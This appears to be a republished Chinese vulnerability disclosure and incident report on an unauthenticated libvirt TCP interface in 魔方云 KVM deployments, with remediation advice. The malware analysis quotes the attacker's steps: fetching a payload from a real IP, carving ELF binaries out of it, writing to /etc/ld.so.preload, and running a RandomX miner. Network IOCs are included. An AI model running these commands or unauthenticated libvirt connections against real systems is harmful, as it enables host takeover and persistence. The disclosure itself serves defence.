万维IIP通栏广告位当云华纳云
行业资讯2026-08-26文案编辑:好主机测评5 阅读

[Critical] 魔方云 KVM 节点管理地址与 NAT 公网地址混用,可能导致未认证 libvirt 控制面暴露并造成虚拟机完全接管

本文摘要详细介绍魔方云KVM节点管理地址与NAT公网地址混用导致的安全风险,包括未认证libvirt控制面暴露、虚拟机被接管等问题,并提供风险排查与安全加固方法。
丽萨主机
AD:
【广告招商】文章正文文字广告位开放合作

1. 漏洞标题

[Critical] 魔方云 KVM 节点管理地址与 NAT 公网地址混用,可能导致未认证 libvirt 控制面暴露并造成虚拟机完全接管

file

2. 漏洞类型

  • 未授权访问
  • 虚拟化管理接口暴露
  • 关键管理功能缺少身份认证
  • 不安全默认配置 / 不安全部署设计
  • 管理平面与业务公网地址混用

建议 CWE 分类:

  • CWE-306:Missing Authentication for Critical Function
  • CWE-284:Improper Access Control
  • CWE-668:Exposure of Resource to Wrong Sphere


3. 受影响组件

魔方云 KVM / libvirt 节点管理相关功能。

重点涉及:

  • libvirt TCP 管理接口;
  • KVM 节点连接地址配置;
  • NAT Public IP 配置逻辑;
  • VNC 控制台配置;
  • 魔方云后端与宿主机 libvirt 的连接方式。


4. 漏洞概述

魔方云 KVM 节点部署过程中,存在将 libvirt 管理连接地址 与 NAT 对外公网 IP 混用的设计问题。

在实际环境中,当 libvirt 连接地址填写为:

127.0.0.1

面板中的 NAT 公网地址也可能显示或使用 127.0.0.1

为了使 NAT IP 正常显示或生成公网端口映射,管理员可能被迫或被诱导将 libvirt Host 修改为宿主机公网 IP。

若同时启用了:

listen_tcp = 1
auth_tcp = "none"

则 libvirt TCP 管理接口可能监听于公网地址:

0.0.0.0:16509

此时,任何能够访问该 TCP 端口的远程攻击者,都可能在无需魔方云账号、无需宿主机 SSH 密码、无需 libvirt 身份认证的情况下连接虚拟化管理控制面。

libvirt 并不是普通业务服务,其管理权限可以直接影响宿主机中的 KVM 虚拟机。

一旦攻击者获得该接口访问权限,理论上可进一步执行:

  • 枚举虚拟机;
  • 查询虚拟机 XML;
  • 启动、停止、重启虚拟机;
  • 修改虚拟机设备;
  • 修改 VNC 配置;
  • 修改虚拟磁盘或挂载 ISO;
  • 修改启动顺序;
  • 通过虚拟化管理链间接取得 Guest 控制权。

最终可能导致节点内虚拟机被完全接管。



5. 漏洞触发条件

满足以下条件时风险最高:

libvirt TCP:监听公网
端口:16509/tcp
auth_tcp:none
攻击者:能够访问 16509/tcp

事发环境曾存在:

libvirt TCP:0.0.0.0:16509
auth_tcp:none

KVM001 VNC:0.0.0.0:10000
VNC 密码:未设置

Guest SSH:允许 root 密码登录

其中:

listen_tcp = 1
auth_tcp = "none"

意味着 libvirt TCP 已开启,同时连接不经过 libvirt 身份认证。



6. 正常安全架构

如果魔方云面板与 KVM 宿主机位于同一主机,推荐的管理链应为:

魔方云后端

qemu:///system

libvirt

QEMU/KVM

此情况下不需要将 16509/tcp 暴露到公网。

如果控制面板与计算节点分离,应使用:

魔方云后端

VPN / TLS / SSH Tunnel / 独立管理网络

libvirt

QEMU/KVM

不应采用:

Internet

0.0.0.0:16509

auth_tcp = none

libvirt



7. 非破坏性复现步骤

步骤一:检查 libvirt TCP 是否监听公网

在 KVM 宿主机执行:

ss -lntp | grep 16509

若出现类似:

LISTEN 0 128 0.0.0.0:16509 0.0.0.0:*

说明 libvirt TCP 已绑定全部 IPv4 地址。



步骤二:检查认证配置

检查 libvirt 配置:

grep -R -E 'listen_tcp|auth_tcp' /etc/libvirt/

如果出现:

listen_tcp = 1
auth_tcp = "none"

则表示 TCP 管理接口启用且没有 libvirt 身份认证。



步骤三:从其他主机测试网络可达性

nc -vz <KVM宿主机IP> 16509

如果远程主机能够成功连接,则证明该管理端口可被网络访问。



步骤四:验证未认证 libvirt 管理访问

在经过授权的测试环境中,可执行:

virsh -c qemu+tcp://<KVM宿主机IP>/system list --all

如果攻击者无需任何用户名、密码、证书或 SSH 凭据即可列出虚拟机,例如:

Id Name State

1 KVM001 running

则漏洞成立。

以上验证已经足以证明未授权访问风险,不建议在生产环境继续执行修改虚拟机、挂载磁盘、修改 XML 等破坏性操作。



8. 安全影响

成功利用该问题后,攻击者得到的不是普通业务接口权限,而是接近完整的虚拟化控制平面权限。

攻击者可能:

虚拟机信息泄露

获取:

  • VM 名称;
  • UUID;
  • CPU / 内存配置;
  • 磁盘路径;
  • 网卡配置;
  • MAC 地址;
  • VNC 配置;
  • Guest Agent 配置。

虚拟机可用性破坏

可以:

  • 强制关机;
  • 重启;
  • 暂停;
  • 删除或更换设备;
  • 修改启动配置。

可能导致大规模业务中断。

虚拟机完整性破坏

可能通过:

  • 修改虚拟机 XML;
  • 替换或挂载磁盘;
  • 挂载恶意 ISO;
  • 修改启动顺序;
  • 修改控制台配置;

进一步改变 Guest 系统内容。

Guest 权限获取

若同时存在:

VNC:0.0.0.0
VNC Password:none

攻击难度进一步降低。

即使 Guest 自身 SSH 防火墙配置正确,一旦虚拟化控制面遭到控制,Guest 网络层面的 SSH 安全措施也不再能够作为可靠的安全边界。

最严重结果

可能最终造成:

未认证远程访问
→ libvirt 管理权限
→ KVM 控制权
→ Guest root
→ 数据泄漏 / 数据篡改 / 持久化 / 恶意程序运行

即节点内虚拟机被完全控制。



9. 实际安全事件佐证

本次问题并非单纯理论风险。

事发期间,KVM001 已确认遭到 root 级入侵。

系统日志中出现 root console session,并在之后发生系统重启:

2026-08-20 11:50:17 systemd: Received SIGINT
2026-08-20 11:50:18 login: session closed for user root

系统重新启动后,恶意服务立即启动:

2026-08-20 11:57:28 systemd: Started ustar.service - ustar

恶意服务以:

User=root
Group=root
Restart=always
RestartSec=5

运行。

说明攻击者在系统重启前已经获得 Guest root 权限,并完成 systemd 持久化。



10. 恶意 Payload 分析

恶意服务从以下地址下载 Payload:

http://185.128.105.153:26694/qlx.png

Payload 被保存为:

/.ustarp

随后通过固定偏移提取两个 ELF 文件:

tail -c +16756 /.ustarp | head -c 33944584 > /.ustar5
tail -c +7184 /.ustarp | head -c 9560 > /.ustar6

文件用途:

文件作用
/.ustarp伪装 PNG 的组合 Payload
/.ustar5RandomX 矿工主程序
/.ustar6preload 注入 / 隐藏组件


11. ld.so.preload 持久化 / 注入

恶意服务执行:

echo /.ustar6 > /etc/ld.so.preload

导致大量动态链接程序在启动时自动加载:

/.ustar6

Kernel Audit 已记录系统组件打开并 mmap 该文件,说明 preload 注入确实已经生效。

因此,在感染后:

  • ps
  • ss
  • netstat
  • login
  • 部分用户态审计命令

所得结果均存在被 Rootkit 干扰的可能性。



12. 挖矿行为

恶意程序最终执行:

exec /.ustar5 3785a12b-7e04-5124-b6df-695553797845

并连接:

ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333

日志显示:

算法:rx/0
速度:约 1,200–1,350 H/s
峰值:约 1,519 H/s
CPU 时间:约 22 小时 32 分钟

rx/0 为 RandomX 类工作负载,现场样本表现与加密货币挖矿程序一致。



13. IOC

网络 IOC

185.128.105.153:26694
103.103.245.70:59839
ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333

文件 IOC

/.ustarp
/.ustar5
/.ustar6
/etc/systemd/system/ustar.service
/etc/ld.so.preload

SHA256

97a22d9b720fd245b3d6bec22043a6dd0875746f2099c0e26b1c1299b5f8b0b2 /.ustarp

4ed71e4914eccb91108a84172f7766d6dcb3f911d7d253e9ed1a3fa42d0bce73 /.ustar5

97d18ba592cf5ce20dc38ff5a79323967edca7cfe3027bc16914b5c5be98f5d6 /.ustar6



14. 证据边界

已确认事实

目前已经能够确认:

  • KVM001 被取得 root 权限;
  • Guest 中存在 root console session;
  • 系统发生可疑重启;
  • ustar.service 被建立并配置为开机启动;
  • 恶意 Payload 下载地址已取得;
  • Payload 样本及 SHA256 已取得;
  • /.ustar6 被写入 /etc/ld.so.preload
  • 系统程序实际加载了 /.ustar6
  • /.ustar5 执行 RandomX 工作负载;
  • libvirt 曾配置为未认证 TCP;
  • KVM001 VNC 曾监听全部地址且无密码。

15. 高可信攻击路径

依据事发配置,可构成以下完整攻击路径:

Internet

扫描宿主机 16509/tcp

发现 libvirt TCP

auth_tcp = none

无需身份认证连接 libvirt

枚举 KVM001

取得/修改虚拟机控制能力

VNC / 虚拟磁盘 / 启动介质 / Guest 管理通道

取得 Guest root

建立 ustar.service

下载 /.ustarp

提取 /.ustar5 + /.ustar6

写入 /etc/ld.so.preload

运行 RandomX 矿工

其中:

Guest root → ustar 持久化 → preload 注入 → RandomX

已有直接实机证据。

而:

公网 16509 → libvirt → Guest root

属于根据现场危险配置重建出的高可信可利用路径,尚缺少攻击当时完整网络审计数据进行唯一归因。



16. 根因分析

本问题存在两个层面的安全风险。

根因一:libvirt 管理接口可以被配置为公网无认证访问

listen_tcp = 1
auth_tcp = "none"

对于虚拟化控制平面而言属于高危配置。

产品应主动阻止、警告或避免生成该部署方式。

根因二:libvirt 管理地址与 NAT Public IP 概念混用

产品中的:

Libvirt Host

与:

NAT Public IP

属于两个完全不同的安全域。

前者用于:

控制平面连接

后者用于:

业务 NAT / DNAT

若 NAT 地址依赖 libvirt Host 字段生成,管理员为了使公网 NAT 正常工作,可能不得不将原本应为:

127.0.0.1

或专用管理 IP 的 libvirt Host 修改成公网地址。

这种设计会显著增加虚拟化管理面意外暴露至公网的概率。



17. 修复建议

17.1 分离 Libvirt URI 与 NAT Public IP

面板中应分别提供:

Libvirt URI
NAT Public IP

例如:

Libvirt URI:qemu:///system
NAT Public IP:203.0.113.10

NAT / DNAT 规则不得根据 libvirt Host 字段生成。



17.2 本机部署默认使用 UNIX Socket

同机部署推荐默认使用:

qemu:///system

而不是:

qemu+tcp://PUBLIC-IP/system



17.3 禁止未认证 libvirt TCP

产品应检测:

auth_tcp = "none"

如果 libvirt TCP 同时绑定非 Loopback 地址,应:

  • 阻止保存;
  • 或显示明确的 Critical 安全警告。


17.4 默认关闭 16509 公网访问

建议:

  • disable / mask libvirt TCP socket;
  • 防火墙默认拒绝 Internet → 16509;
  • 仅允许可信管理网络访问。


17.5 远程节点采用安全管理通道

如果控制端与 KVM 节点分离,应支持:

  • TLS Client Certificate;
  • WireGuard / VPN;
  • SSH Tunnel;
  • 独立 Management VLAN。

禁止使用公网无认证 libvirt TCP。



17.6 修复 VNC 默认安全策略

禁止生成:

VNC Listen:0.0.0.0
Password:none

推荐:

VNC Listen:127.0.0.1

并通过:
→ 短时 Token
→ WebSocket Proxy
→ localhost VNC

进行访问。



17.7 加强 Guest 默认安全策略

建议默认:

PermitRootLogin prohibit-password
PasswordAuthentication no

每台虚拟机使用独立 SSH 凭据。



17.8 增加安全审计

建议记录并集中保存至少 30–90 天:

  • 面板管理员操作;
  • libvirt API 调用;
  • VM XML 修改;
  • VNC Console 登录;
  • Guest Agent 操作;
  • NAT / DNAT 修改;
  • 节点登录;
  • VM 重启与关机来源。

否则发生类似事件后很难完成初始入口归因。



18. 建议厂商增加的安全检测

节点添加或保存时,可以自动执行以下检测:

[Critical] libvirt TCP 对公网开放
[Critical] auth_tcp = none
[Critical] VNC = 0.0.0.0 且无密码
[High] SSH root 密码登录开启
[Warning] Libvirt Host 使用公网 IP

若同时出现:

Public libvirt
+
auth_tcp none

建议直接禁止节点上线。



建议厂商优先修复 Libvirt 管理地址与 NAT Public IP 混用问题**,并在产品层面禁止或强警告 **公网 libvirt + auth_tcp = none 的危险组合。

广告招商文章内容详情页下 · 优质席位开放中合作咨询
咨询1 位在线

广告投放、资源交换、友情链接